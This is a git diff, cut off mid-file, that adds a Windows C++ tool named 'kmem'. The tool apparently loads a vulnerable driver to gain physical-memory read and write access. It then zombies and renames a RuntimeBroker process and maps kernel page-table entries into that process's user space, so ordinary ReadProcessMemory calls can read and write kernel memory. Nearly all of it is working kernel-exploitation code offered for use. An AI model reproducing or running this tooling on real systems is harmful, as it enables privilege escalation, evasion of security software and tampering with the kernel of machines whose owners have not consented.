diff --git a/img/kmem-icon.png b/img/kmem-icon.png
new file mode 100644
index 0000000..9ca450b
Binary files /dev/null and b/img/kmem-icon.png differ
diff --git a/kmem.sln b/kmem.sln
new file mode 100644
index 0000000..e5d2cd6
--- /dev/null
+++ b/kmem.sln
@@ -0,0 +1,22 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio Version 16
+VisualStudioVersion = 16.0.30503.244
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kmem", "kmem\kmem.vcxproj", "{ED392663-3AF3-40DE-8AC7-2F373B3E9B45}"
+EndProject
+Global
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
+ Release|x64 = Release|x64
+ EndGlobalSection
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
+ {ED392663-3AF3-40DE-8AC7-2F373B3E9B45}.Release|x64.ActiveCfg = Release|x64
+ {ED392663-3AF3-40DE-8AC7-2F373B3E9B45}.Release|x64.Build.0 = Release|x64
+ EndGlobalSection
+ GlobalSection(SolutionProperties) = preSolution
+ HideSolutionNode = FALSE
+ EndGlobalSection
+ GlobalSection(ExtensibilityGlobals) = postSolution
+ SolutionGuid = {31E8D06F-582D-4DDC-88A4-8FE8CBEC5EDF}
+ EndGlobalSection
+EndGlobal
diff --git a/kmem/icon.rc b/kmem/icon.rc
new file mode 100644
index 0000000..5856874
--- /dev/null
+++ b/kmem/icon.rc
@@ -0,0 +1,3 @@
+// Icon Resource Definition
+#define MAIN_ICON 102
+MAIN_ICON ICON "small.ico"
\ No newline at end of file
diff --git a/kmem/kmem.vcxproj b/kmem/kmem.vcxproj
new file mode 100644
index 0000000..2c80fe3
--- /dev/null
+++ b/kmem/kmem.vcxproj
@@ -0,0 +1,107 @@
+
+
+
+
+ Debug
+ x64
+
+
+ Release
+ x64
+
+
+
+ 16.0
+ Win32Proj
+ {ed392663-3af3-40de-8ac7-2f373b3e9b45}
+ nasainjector
+ 10.0
+ kmem
+
+
+
+ Application
+ true
+ v142
+ MultiByte
+
+
+ Application
+ false
+ v142
+ true
+ MultiByte
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ true
+
+
+ false
+
+
+
+ Level3
+ true
+ _DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS
+ true
+ stdcpp17
+ Custom
+
+
+ Console
+ true
+
+
+
+
+ Level3
+ true
+ true
+ true
+ NDEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS
+ true
+ stdcpp17
+ Custom
+
+
+ Console
+ true
+ true
+ true
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/kmem/kmem.vcxproj.filters b/kmem/kmem.vcxproj.filters
new file mode 100644
index 0000000..a144f80
--- /dev/null
+++ b/kmem/kmem.vcxproj.filters
@@ -0,0 +1,64 @@
+
+
+
+
+ {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
+ cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
+
+
+ {93995380-89BD-4b04-88EB-625FBE52EBFB}
+ h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
+
+
+ {b197b9bf-8ab7-40c3-89e0-ad2ac4a211ab}
+
+
+ {565c24cf-6d76-4715-9d8c-f35b17ee0ec6}
+
+
+
+
+ Source Files
+
+
+ Source Files
+
+
+ Source Files
+
+
+ Source Files
+
+
+
+
+ Header Files\vdm
+
+
+ Header Files\vdm
+
+
+ Header Files
+
+
+ Header Files\util
+
+
+ Header Files\util
+
+
+ Header Files\util
+
+
+ Header Files
+
+
+ Header Files
+
+
+
+
+ Header Files
+
+
+
\ No newline at end of file
diff --git a/kmem/kmem.vcxproj.user b/kmem/kmem.vcxproj.user
new file mode 100644
index 0000000..8b11d36
--- /dev/null
+++ b/kmem/kmem.vcxproj.user
@@ -0,0 +1,11 @@
+
+
+
+ --pid 12116
+ WindowsLocalDebugger
+
+
+ --pid 69
+ WindowsLocalDebugger
+
+
\ No newline at end of file
diff --git a/kmem/kmem_ctx/kmem_ctx.cpp b/kmem/kmem_ctx/kmem_ctx.cpp
new file mode 100644
index 0000000..c3a3c3b
--- /dev/null
+++ b/kmem/kmem_ctx/kmem_ctx.cpp
@@ -0,0 +1,120 @@
+#include "kmem_ctx.hpp"
+
+namespace nasa
+{
+ kmem_ctx::kmem_ctx(vdm::vdm_ctx* vdm)
+ : vdm(vdm)
+ {
+ const auto runtime_broker_pid =
+ util::start_runtime_broker();
+
+ zombie(runtime_broker_pid);
+ const auto runtime_broker_peproc =
+ vdm->get_peprocess(runtime_broker_pid);
+
+ set_process_name(runtime_broker_peproc, L"/proc/kmem");
+ mem_ctx runtime_ctx(*vdm, runtime_broker_pid);
+
+ const auto pml4 =
+ reinterpret_cast(
+ runtime_ctx.set_page(
+ runtime_ctx.get_dirbase()));
+
+ // shoot the legs off the table, make it to do a back flip...
+ // (aka put kernel pml4e's into usermode/below MmHighestUserAddress so NtReadVirtualMemory
+ // and NtWriteVirtualMemory/all winapis will work)...
+ memcpy(pml4, pml4 + 255, 256 * sizeof pml4e);
+ }
+
+ auto kmem_ctx::translate(std::uintptr_t kva) -> std::uintptr_t
+ {
+ virt_addr_t old_addr{ reinterpret_cast(kva) };
+ virt_addr_t new_addr{ NULL };
+ new_addr.pml4_index = old_addr.pml4_index - 255;
+ new_addr.pdpt_index = old_addr.pdpt_index;
+ new_addr.pd_index = old_addr.pd_index;
+ new_addr.pt_index = old_addr.pt_index;
+ return reinterpret_cast(new_addr.value);
+ }
+
+ auto kmem_ctx::get_handle()->HANDLE
+ {
+ return OpenProcess(PROCESS_ALL_ACCESS, FALSE, util::get_pid("/proc/kmem"));
+ }
+
+ void kmem_ctx::zombie(std::uint32_t pid) const
+ {
+ // zombie the the process by incrementing an exit counter
+ // then calling TerminateProcess so the process never closes...
+ const auto runtime_broker_peproc =
+ reinterpret_cast(
+ vdm->get_peprocess(pid));
+
+ static const auto inc_ref_counter =
+ util::get_kmodule_export(
+ "ntoskrnl.exe",
+ "PsAcquireProcessExitSynchronization"
+ );
+
+ const auto result =
+ vdm->syscall(
+ inc_ref_counter, runtime_broker_peproc);
+
+ const auto handle = OpenProcess(PROCESS_TERMINATE, FALSE, pid);
+ TerminateProcess(handle, NULL);
+ CloseHandle(handle);
+ }
+
+ bool kmem_ctx::set_process_name(PEPROCESS peproc, const wchar_t* new_name)
+ {
+ static const auto process_image_name =
+ reinterpret_cast(
+ util::get_kmodule_export(
+ "ntoskrnl.exe", "SeLocateProcessImageName"));
+
+ if (!process_image_name)
+ return false;
+
+ // SeLocateProcessImageName --> PsGetAllocatedFullProcessImageNameEx
+ // PAGE : 00000001406B1A50 SeLocateProcessImageName proc near
+ // PAGE : 00000001406B1A50 48 83 EC 28 sub rsp, 28h
+ // PAGE : 00000001406B1A54 E8 0B 00 00 00 call PsGetAllocatedFullProcessImageNameEx <====== + 5
+ // PAGE : 00000001406B1A59 48 83 C4 28 add rsp, 28h
+ // PAGE : 00000001406B1A5D C3 retn
+ // PAGE : 00000001406B1A5D SeLocateProcessImageName endp
+ const auto get_process_name =
+ (process_image_name + 9 + vdm->rkm(process_image_name + 5)); // <====== + 5
+
+ // PAGE : 00000001406B1A64 48 83 EC 28 sub rsp, 28h
+ // PAGE : 00000001406B1A68 48 83 B9 10 07 00 00 00 cmp qword ptr[rcx + 710h], 0
+ // PAGE : 00000001406B1A70 B8 25 02 00 C0 mov eax, 0C0000225h
+ // PAGE : 00000001406B1A75 0F 85 0B E9 10 00 jnz loc_1407C0386
+ // PAGE : 00000001406B1A7B 48 83 B9 68 04 00 00 00 cmp qword ptr[rcx + 468h], 0 <===== + 26
+ const auto process_name_idx =
+ vdm->rkm(get_process_name + 26); // <===== + 26
+
+ // _SE_AUDIT_PROCESS_CREATION_INFO SeAuditProcessCreationInfo
+ // _SE_AUDIT_PROCESS_CREATION_INFO --> POBJECT_NAME_INFORMATION == PUNICODE_STRING...
+ const auto unicode_string_ptr =
+ vdm->rkm(
+ reinterpret_cast(peproc) + process_name_idx);
+
+ if (!unicode_string_ptr)
+ return false;
+
+ auto process_unicode_str =
+ vdm->rkm(unicode_string_ptr);
+
+ if (!process_unicode_str.Buffer)
+ return false;
+
+ // set new name...
+ vdm->wkm((void*)process_unicode_str.Buffer, (void*)new_name, std::wcslen(new_name) * sizeof(wchar_t));
+
+ // set new unicode string info...
+ process_unicode_str.Length = std::wcslen(new_name) * sizeof(wchar_t);
+ process_unicode_str.MaximumLength = std::wcslen(new_name) * sizeof(wchar_t);
+ vdm->wkm(unicode_string_ptr, process_unicode_str);
+ return true;
+ }
+}
\ No newline at end of file
diff --git a/kmem/kmem_ctx/kmem_ctx.hpp b/kmem/kmem_ctx/kmem_ctx.hpp
new file mode 100644
index 0000000..c1bb4bf
--- /dev/null
+++ b/kmem/kmem_ctx/kmem_ctx.hpp
@@ -0,0 +1,17 @@
+#pragma once
+#include "../mem_ctx/mem_ctx.hpp"
+
+namespace nasa
+{
+ class kmem_ctx
+ {
+ public:
+ kmem_ctx(vdm::vdm_ctx* vdm);
+ static auto get_handle()->HANDLE;
+ static auto translate(std::uintptr_t kva)->std::uintptr_t;
+ private:
+ void zombie(std::uint32_t pid) const;
+ bool set_process_name(PEPROCESS peproc, const wchar_t* new_name);
+ vdm::vdm_ctx* vdm;
+ };
+}
\ No newline at end of file
diff --git a/kmem/main.cpp b/kmem/main.cpp
new file mode 100644
index 0000000..d2c49a5
--- /dev/null
+++ b/kmem/main.cpp
@@ -0,0 +1,77 @@
+#include "kmem_ctx/kmem_ctx.hpp"
+
+int __cdecl main(int argc, char** argv)
+{
+ vdm::read_phys_t _read_phys = [&](void* addr, void* buffer, std::size_t size) -> bool
+ {
+ return vdm::read_phys(addr, buffer, size);
+ };
+
+ vdm::write_phys_t _write_phys = [&](void* addr, void* buffer, std::size_t size) -> bool
+ {
+ return vdm::write_phys(addr, buffer, size);
+ };
+
+ auto kmem_handle = nasa::kmem_ctx::get_handle();
+
+ // translation just subtracts pml4 index bit field by 255...
+ const auto ntoskrnl_base = util::get_kmodule_base("ntoskrnl.exe");
+ const auto ntoskrnl_translated = nasa::kmem_ctx::translate(ntoskrnl_base);
+
+ std::printf("[+] ntoskrnl base -> 0x%p\n", ntoskrnl_base);
+ std::printf("[+] ntoskrnl translated -> 0x%p\n", ntoskrnl_translated);
+
+ if (kmem_handle == INVALID_HANDLE_VALUE)
+ {
+ const auto [drv_handle, drv_key] = vdm::load_drv();
+ if (drv_handle == INVALID_HANDLE_VALUE)
+ {
+ std::printf("[!] invalid handle...\n");
+ std::getchar();
+ return -1;
+ }
+
+ vdm::vdm_ctx vdm(_read_phys, _write_phys);
+ nasa::kmem_ctx kmem(&vdm);
+
+ kmem_handle = kmem.get_handle();
+ unsigned short mz = 0u;
+ std::size_t bytes_handled;
+
+ // ReadProcessMemory kernel memory example...
+ auto result =
+ ReadProcessMemory(
+ kmem_handle,
+ reinterpret_cast(ntoskrnl_translated),
+ &mz, sizeof mz,
+ &bytes_handled
+ );
+
+ std::printf("[+] ReadProcessMemory Result -> %d, mz -> 0x%x\n", result, mz);
+
+ if (!vdm::unload_drv(drv_handle, drv_key))
+ {
+ std::printf("[!] unable to unload driver...\n");
+ std::getchar();
+ return -1;
+ }
+ }
+ else
+ {
+ unsigned short mz = 0u;
+ std::size_t bytes_handled;
+
+ // ReadProcessMemory kernel memory example...
+ auto result =
+ ReadProcessMemory(
+ kmem_handle,
+ reinterpret_cast(ntoskrnl_translated),
+ &mz, sizeof mz,
+ &bytes_handled
+ );
+
+ std::printf("[+] ReadProcessMemory Result -> %d, mz -> 0x%x\n", result, mz);
+ }
+ std::printf("[+] press enter to exit...\n");
+ std::getchar();
+}
\ No newline at end of file
diff --git a/kmem/mem_ctx/mem_ctx.cpp b/kmem/mem_ctx/mem_ctx.cpp
new file mode 100644
index 0000000..27abee6
--- /dev/null
+++ b/kmem/mem_ctx/mem_ctx.cpp
@@ -0,0 +1,480 @@
+#include "mem_ctx.hpp"
+
+namespace nasa
+{
+ mem_ctx::mem_ctx(vdm::vdm_ctx& v_ctx, std::uint32_t pid)
+ :
+ v_ctx(&v_ctx),
+ pid(pid),
+ dirbase(get_dirbase(v_ctx, pid))
+ {
+ // find an empty pml4e inside of current processes pml4...
+ const auto current_pml4 =
+ v_ctx.get_virtual(reinterpret_cast(
+ get_dirbase(v_ctx, GetCurrentProcessId())));
+
+ for (auto idx = 100u; idx > 0u; --idx)
+ if (!v_ctx.rkm(current_pml4 + (idx * sizeof pml4e)).value)
+ this->pml4e_index = idx;
+
+ // allocate a pdpt
+ this->new_pdpt.second =
+ reinterpret_cast(
+ VirtualAlloc(
+ NULL,
+ PAGE_4KB,
+ MEM_COMMIT | MEM_RESERVE,
+ PAGE_READWRITE
+ ));
+
+ PAGE_IN(this->new_pdpt.second, PAGE_4KB);
+ // get page table entries for new pdpt
+ pt_entries new_pdpt_entries;
+ hyperspace_entries(new_pdpt_entries, new_pdpt.second);
+ this->new_pdpt.first = reinterpret_cast(new_pdpt_entries.pt.second.pfn << 12);
+
+ // make a new pml4e that points to our new pdpt.
+ new_pdpt_entries.pml4.second.pfn = new_pdpt_entries.pt.second.pfn;
+
+ // set the pml4e to point to the new pdpt
+ set_pml4e(reinterpret_cast<::ppml4e>(get_dirbase()) + this->pml4e_index, new_pdpt_entries.pml4.second, true);
+
+ // make a new pd
+ this->new_pd.second =
+ reinterpret_cast(
+ VirtualAlloc(
+ NULL,
+ PAGE_4KB,
+ MEM_COMMIT | MEM_RESERVE,
+ PAGE_READWRITE
+ ));
+
+ PAGE_IN(this->new_pd.second, PAGE_4KB);
+
+ // get paging table entries for pd
+ pt_entries new_pd_entries;
+ hyperspace_entries(new_pd_entries, this->new_pd.second);
+ this->new_pd.first = reinterpret_cast(new_pd_entries.pt.second.pfn << 12);
+
+ // make a new pt
+ this->new_pt.second =
+ reinterpret_cast(
+ VirtualAlloc(
+ NULL,
+ PAGE_4KB,
+ MEM_COMMIT | MEM_RESERVE,
+ PAGE_READWRITE
+ ));
+
+ PAGE_IN(this->new_pt.second, PAGE_4KB);
+ // get paging table entries for pt
+ pt_entries new_pt_entries;
+ hyperspace_entries(new_pt_entries, this->new_pt.second);
+ this->new_pt.first = reinterpret_cast(new_pt_entries.pt.second.pfn << 12);
+ }
+
+ void* mem_ctx::set_page(void* addr)
+ {
+ // table entry change.
+ ++pte_index;
+ if (pte_index >= 511)
+ {
+ ++pde_index;
+ pte_index = 0;
+ }
+
+ if (pde_index >= 511)
+ {
+ ++pdpte_index;
+ pde_index = 0;
+ }
+
+ if (pdpte_index >= 511)
+ pdpte_index = 0;
+
+ pdpte new_pdpte = { NULL };
+ new_pdpte.present = true;
+ new_pdpte.rw = true;
+ new_pdpte.pfn = reinterpret_cast(new_pd.first) >> 12;
+ new_pdpte.user_supervisor = true;
+ new_pdpte.accessed = true;
+
+ // set pdpte entry
+ *reinterpret_cast(new_pdpt.second + pdpte_index) = new_pdpte;
+
+ pde new_pde = { NULL };
+ new_pde.present = true;
+ new_pde.rw = true;
+ new_pde.pfn = reinterpret_cast(new_pt.first) >> 12;
+ new_pde.user_supervisor = true;
+ new_pde.accessed = true;
+
+ // set pde entry
+ *reinterpret_cast(new_pd.second + pde_index) = new_pde;
+
+ pte new_pte = { NULL };
+ new_pte.present = true;
+ new_pte.rw = true;
+ new_pte.pfn = reinterpret_cast(addr) >> 12;
+ new_pte.user_supervisor = true;
+ new_pte.accessed = true;
+
+ // set pte entry
+ *reinterpret_cast(new_pt.second + pte_index) = new_pte;
+
+ // set page offset
+ this->page_offset = virt_addr_t{ addr }.offset;
+ return get_page();
+ }
+
+ void* mem_ctx::get_page() const
+ {
+ // builds a new address given the state of all table indexes
+ virt_addr_t new_addr;
+ new_addr.pml4_index = this->pml4e_index;
+ new_addr.pdpt_index = this->pdpte_index;
+ new_addr.pd_index = this->pde_index;
+ new_addr.pt_index = this->pte_index;
+ new_addr.offset = this->page_offset;
+ return new_addr.value;
+ }
+
+ void* mem_ctx::get_dirbase(vdm::vdm_ctx& v_ctx, std::uint32_t pid)
+ {
+ const auto peproc =
+ reinterpret_cast(v_ctx.get_peprocess(pid));
+
+ const auto dirbase =
+ v_ctx.rkm(peproc + 0x28);
+
+ return reinterpret_cast(dirbase.pfn << 12);
+ }
+
+ bool mem_ctx::hyperspace_entries(pt_entries& entries, void* addr)
+ {
+ if (!addr || !dirbase)
+ return false;
+
+ virt_addr_t virt_addr{ addr };
+ entries.pml4.first = reinterpret_cast(dirbase) + virt_addr.pml4_index;
+ entries.pml4.second = v_ctx->rkm(
+ v_ctx->get_virtual(reinterpret_cast(entries.pml4.first)));
+
+ if (!entries.pml4.second.value)
+ return false;
+
+ entries.pdpt.first = reinterpret_cast(entries.pml4.second.pfn << 12) + virt_addr.pdpt_index;
+ entries.pdpt.second = v_ctx->rkm(
+ v_ctx->get_virtual(reinterpret_cast(entries.pdpt.first)));
+
+ if (!entries.pdpt.second.value)
+ return false;
+
+ entries.pd.first = reinterpret_cast(entries.pdpt.second.pfn << 12) + virt_addr.pd_index;
+ entries.pd.second = v_ctx->rkm(
+ v_ctx->get_virtual(reinterpret_cast(entries.pd.first)));
+
+ // if its a 2mb page
+ if (entries.pd.second.large_page)
+ {
+ entries.pt.second.value = entries.pd.second.value;
+ entries.pt.first = reinterpret_cast(entries.pd.second.value);
+ return true;
+ }
+
+ entries.pt.first = reinterpret_cast(entries.pd.second.pfn << 12) + virt_addr.pt_index;
+ entries.pt.second = v_ctx->rkm(
+ v_ctx->get_virtual(reinterpret_cast(entries.pt.first)));
+
+ if (!entries.pt.second.value)
+ return false;
+
+ return true;
+ }
+
+ std::pair mem_ctx::get_pte(void* addr, bool use_hyperspace)
+ {
+ if (!dirbase || !addr)
+ return {};
+
+ pt_entries entries;
+ if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr)))
+ return { entries.pt.first, entries.pt.second };
+ return {};
+ }
+
+ void mem_ctx::set_pte(void* addr, const ::pte& pte, bool use_hyperspace)
+ {
+ if (!dirbase || !addr)
+ return;
+
+ if (use_hyperspace)
+ v_ctx->wkm(v_ctx->get_virtual(reinterpret_cast(addr)), pte);
+ else
+ write_phys(addr, pte);
+ }
+
+ std::pair mem_ctx::get_pde(void* addr, bool use_hyperspace)
+ {
+ if (!dirbase || !addr)
+ return {};
+
+ pt_entries entries;
+ if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr)))
+ return { entries.pd.first, entries.pd.second };
+ return {};
+ }
+
+ void mem_ctx::set_pde(void* addr, const ::pde& pde, bool use_hyperspace)
+ {
+ if (!this->dirbase || !addr)
+ return;
+
+ if (use_hyperspace)
+ v_ctx->wkm(v_ctx->get_virtual(reinterpret_cast(addr)), pde);
+ else
+ write_phys(addr, pde);
+ }
+
+ std::pair mem_ctx::get_pdpte(void* addr, bool use_hyperspace)
+ {
+ if (!dirbase || !addr)
+ return {};
+
+ pt_entries entries;
+ if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr)))
+ return { entries.pdpt.first, entries.pdpt.second };
+ return {};
+ }
+
+ void mem_ctx::set_pdpte(void* addr, const ::pdpte& pdpte, bool use_hyperspace)
+ {
+ if (!this->dirbase || !addr)
+ return;
+
+ if (use_hyperspace)
+ v_ctx->wkm(v_ctx->get_virtual(reinterpret_cast(addr)), pdpte);
+ else
+ write_phys(addr, pdpte);
+ }
+
+ std::pair mem_ctx::get_pml4e(void* addr, bool use_hyperspace)
+ {
+ if (!this->dirbase || !addr)
+ return {};
+
+ pt_entries entries;
+ if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr)))
+ return { entries.pml4.first, entries.pml4.second };
+ return {};
+ }
+
+ void mem_ctx::set_pml4e(void* addr, const ::pml4e& pml4e, bool use_hyperspace)
+ {
+ if (!this->dirbase || !addr)
+ return;
+
+ if (use_hyperspace)
+ v_ctx->wkm(v_ctx->get_virtual(reinterpret_cast(addr)), pml4e);
+ else
+ write_phys(addr, pml4e);
+ }
+
+ std::pair mem_ctx::read_virtual(void* buffer, void* addr, std::size_t size)
+ {
+ if (!buffer || !addr || !size || !dirbase)
+ return {};
+
+ virt_addr_t virt_addr{ addr };
+ if (size <= PAGE_4KB - virt_addr.offset)
+ {
+ pt_entries entries;
+ read_phys
+ (
+ buffer,
+ virt_to_phys(entries, addr),
+ size
+ );
+
+ return
+ {
+ reinterpret_cast(reinterpret_cast(buffer) + size),
+ reinterpret_cast(reinterpret_cast(addr) + size)
+ };
+ }
+ else
+ {
+ // cut remainder
+ const auto [new_buffer_addr, new_addr] = read_virtual
+ (
+ buffer,
+ addr,
+ PAGE_4KB - virt_addr.offset
+ );
+
+ // forward work load
+ return read_virtual
+ (
+ new_buffer_addr,
+ new_addr,
+ size - (PAGE_4KB - virt_addr.offset)
+ );
+ }
+ }
+
+ std::pair mem_ctx::write_virtual(void* buffer, void* addr, std::size_t size)
+ {
+ if (!buffer || !addr || !size || !dirbase)
+ return {};
+
+ virt_addr_t virt_addr{ addr };
+ if (size <= PAGE_4KB - virt_addr.offset)
+ {
+ pt_entries entries;
+ write_phys
+ (
+ buffer,
+ virt_to_phys(entries, addr),
+ size
+ );
+
+ return
+ {
+ reinterpret_cast(reinterpret_cast(buffer) + size),
+ reinterpret_cast(reinterpret_cast(addr) + size)
+ };
+ }
+ else
+ {
+ // cut remainder
+ const auto [new_buffer_addr, new_addr] = write_virtual
+ (
+ buffer,
+ addr,
+ PAGE_4KB - virt_addr.offset
+ );
+
+ // forward work load
+ return write_virtual
+ (
+ new_buffer_addr,
+ new_addr,
+ size - (PAGE_4KB - virt_addr.offset)
+ );
+ }
+ }
+
+ bool mem_ctx::read_phys(void* buffer, void* addr, std::size_t size)
+ {
+ if (!buffer || !addr || !size)
+ return false;
+
+ const auto temp_page = set_page(addr);
+ __try
+ {
+ memcpy(buffer, temp_page, size);
+ }
+ __except (EXCEPTION_EXECUTE_HANDLER)
+ {
+ return false;
+ }
+ return true;
+ }
+
+ bool mem_ctx::write_phys(void* buffer, void* addr, std::size_t size)
+ {
+ if (!buffer || !addr || !size)
+ return false;
+
+ const auto temp_page = set_page(addr);
+ __try
+ {
+ memcpy(temp_page, buffer, size);
+ }
+ __except (EXCEPTION_EXECUTE_HANDLER)
+ {
+ return false;
+ }
+ return true;
+ }
+
+ void* mem_ctx::virt_to_phys(pt_entries& entries, void* addr)
+ {
+ if (!addr || !this->dirbase)
+ return {};
+
+ const virt_addr_t virt_addr{ addr };
+
+ // traverse paging tables
+ auto pml4e = read_phys<::pml4e>(
+ reinterpret_cast(this->dirbase) + virt_addr.pml4_index);
+
+ entries.pml4.first = reinterpret_cast(this->dirbase) + virt_addr.pml4_index;
+ entries.pml4.second = pml4e;
+
+ if (!pml4e.value)
+ return NULL;
+
+ auto pdpte = read_phys<::pdpte>(
+ reinterpret_cast(pml4e.pfn << 12) + virt_addr.pdpt_index);
+
+ entries.pdpt.first = reinterpret_cast(pml4e.pfn << 12) + virt_addr.pdpt_index;
+ entries.pdpt.second = pdpte;
+
+ if (!pdpte.value)
+ return NULL;
+
+ auto pde = read_phys<::pde>(
+ reinterpret_cast(pdpte.pfn << 12) + virt_addr.pd_index);
+
+ entries.pd.first = reinterpret_cast(pdpte.pfn << 12) + virt_addr.pd_index;
+ entries.pd.second = pde;
+
+ if (!pde.value)
+ return NULL;
+
+ auto pte = read_phys<::pte>(
+ reinterpret_cast(pde.pfn << 12) + virt_addr.pt_index);
+
+ entries.pt.first = reinterpret_cast(pde.pfn << 12) + virt_addr.pt_index;
+ entries.pt.second = pte;
+
+ if (!pte.value)
+ return NULL;
+
+ return reinterpret_cast((pte.pfn << 12) + virt_addr.offset);
+ }
+
+ unsigned mem_ctx::get_pid() const
+ {
+ return this->pid;
+ }
+
+ void* mem_ctx::get_dirbase() const
+ {
+ return this->dirbase;
+ }
+
+ pml4e mem_ctx::operator[](std::uint16_t pml4_idx)
+ {
+ return read_phys<::pml4e>(reinterpret_cast(this->dirbase) + pml4_idx);
+ }
+
+ pdpte mem_ctx::operator[](const std::pair& entry_idx)
+ {
+ const auto pml4_entry = this->operator[](entry_idx.first);
+ return read_phys<::pdpte>(reinterpret_cast(pml4_entry.pfn << 12) + entry_idx.second);
+ }
+
+ pde mem_ctx::operator[](const std::tuple& entry_idx)
+ {
+ const auto pdpt_entry = this->operator[]({ std::get<0>(entry_idx), std::get<1>(entry_idx) });
+ return read_phys<::pde>(reinterpret_cast(pdpt_entry.pfn << 12) + std::get<2>(entry_idx));
+ }
+
+ pte mem_ctx::operator[](const std::tuple& entry_idx)
+ {
+ const auto pd_entry = this->operator[]({ std::get<0>(entry_idx), std::get<1>(entry_idx), std::get<2>(entry_idx) });
+ return read_phys<::pte>(reinterpret_cast(pd_entry.pfn << 12) + std::get<3>(entry_idx));
+ }
+}
\ No newline at end of file
diff --git a/kmem/mem_ctx/mem_ctx.hpp b/kmem/mem_ctx/mem_ctx.hpp
new file mode 100644
index 0000000..22a7ca2
--- /dev/null
+++ b/kmem/mem_ctx/mem_ctx.hpp
@@ -0,0 +1,86 @@
+#pragma once
+#include "../util/nt.hpp"
+#include "../vdm_ctx/vdm_ctx.hpp"
+
+namespace nasa
+{
+ class mem_ctx
+ {
+ friend class pclone_ctx;
+ public:
+ mem_ctx(vdm::vdm_ctx& v_ctx, std::uint32_t pid = GetCurrentProcessId());
+ std::pair get_pte(void* addr, bool use_hyperspace = false);
+ void set_pte(void* addr, const ::pte& pte, bool use_hyperspace = false);
+
+ std::pair get_pde(void* addr, bool use_hyperspace = false);
+ void set_pde(void* addr, const ::pde& pde, bool use_hyperspace = false);
+
+ std::pair get_pdpte(void* addr, bool use_hyperspace = false);
+ void set_pdpte(void* addr, const ::pdpte& pdpte, bool use_hyperspace = false);
+
+ std::pair get_pml4e(void* addr, bool use_hyperspace = false);
+ void set_pml4e(void* addr, const ::pml4e& pml4e, bool use_hyperspace = false);
+
+ void* get_dirbase() const;
+ static void* get_dirbase(vdm::vdm_ctx& v_ctx, std::uint32_t pid);
+
+ bool read_phys(void* buffer, void* addr, std::size_t size);
+ bool write_phys(void* buffer, void* addr, std::size_t size);
+
+ template
+ T read_phys(void* addr)
+ {
+ T buffer;
+ read_phys((void*)&buffer, addr, sizeof(T));
+ return buffer;
+ }
+
+ template
+ void write_phys(void* addr, const T& data)
+ {
+ write_phys((void*)&data, addr, sizeof(T));
+ }
+
+ std::pair read_virtual(void* buffer, void* addr, std::size_t size);
+ std::pair write_virtual(void* buffer, void* addr, std::size_t size);
+
+ template
+ __forceinline T read_virtual(void* addr)
+ {
+ T buffer;
+ read_virtual((void*)&buffer, addr, sizeof(T));
+ return buffer;
+ }
+
+ template
+ __forceinline void write_virtual(void* addr, const T& data)
+ {
+ write_virtual((void*)&data, addr, sizeof(T));
+ }
+
+ void* virt_to_phys(pt_entries& entries, void* addr);
+ void* set_page(void* addr);
+ void* get_page() const;
+ unsigned get_pid() const;
+
+ pml4e operator[](std::uint16_t pml4_idx);
+ pdpte operator[](const std::pair& entry_idx);
+ pde operator[](const std::tuple& entry_idx);
+ pte operator[](const std::tuple& entry_idx);
+ private:
+
+ bool hyperspace_entries(pt_entries& entries, void* addr);
+ void* dirbase;
+ vdm::vdm_ctx* v_ctx;
+ std::uint16_t pml4e_index,
+ pdpte_index,
+ pde_index,
+ pte_index,
+ page_offset;
+
+ std::pair new_pdpt;
+ std::pair new_pd;
+ std::pair new_pt;
+ unsigned pid;
+ };
+}
\ No newline at end of file
diff --git a/kmem/small.ico b/kmem/small.ico
new file mode 100644
index 0000000..77db41c
Binary files /dev/null and b/kmem/small.ico differ
diff --git a/kmem/util/loadup.hpp b/kmem/util/loadup.hpp
new file mode 100644
index 0000000..9cafa3f
--- /dev/null
+++ b/kmem/util/loadup.hpp
@@ -0,0 +1,247 @@
+/*
+ MIT License
+
+ Copyright (c) 2020 xerox
+
+ Permission is hereby granted, free of charge, to any person obtaining a copy
+ of this software and associated documentation files (the "Software"), to deal
+ in the Software without restriction, including without limitation the rights
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ copies of the Software, and to permit persons to whom the Software is
+ furnished to do so, subject to the following conditions:
+
+ The above copyright notice and this permission notice shall be included in all
+ copies or substantial portions of the Software.
+
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ SOFTWARE.
+*/
+
+
+#pragma once
+#include
+#include
+#include
+#include
+#include
+
+#pragma comment(lib, "ntdll.lib")
+extern "C" NTSTATUS NtLoadDriver(PUNICODE_STRING);
+extern "C" NTSTATUS NtUnloadDriver(PUNICODE_STRING);
+
+namespace driver
+{
+ namespace util
+ {
+ __forceinline auto delete_service_entry(const std::string& service_name) -> bool
+ {
+ HKEY reg_handle;
+ static const std::string reg_key("System\\CurrentControlSet\\Services\\");
+
+ auto result = RegOpenKeyA(
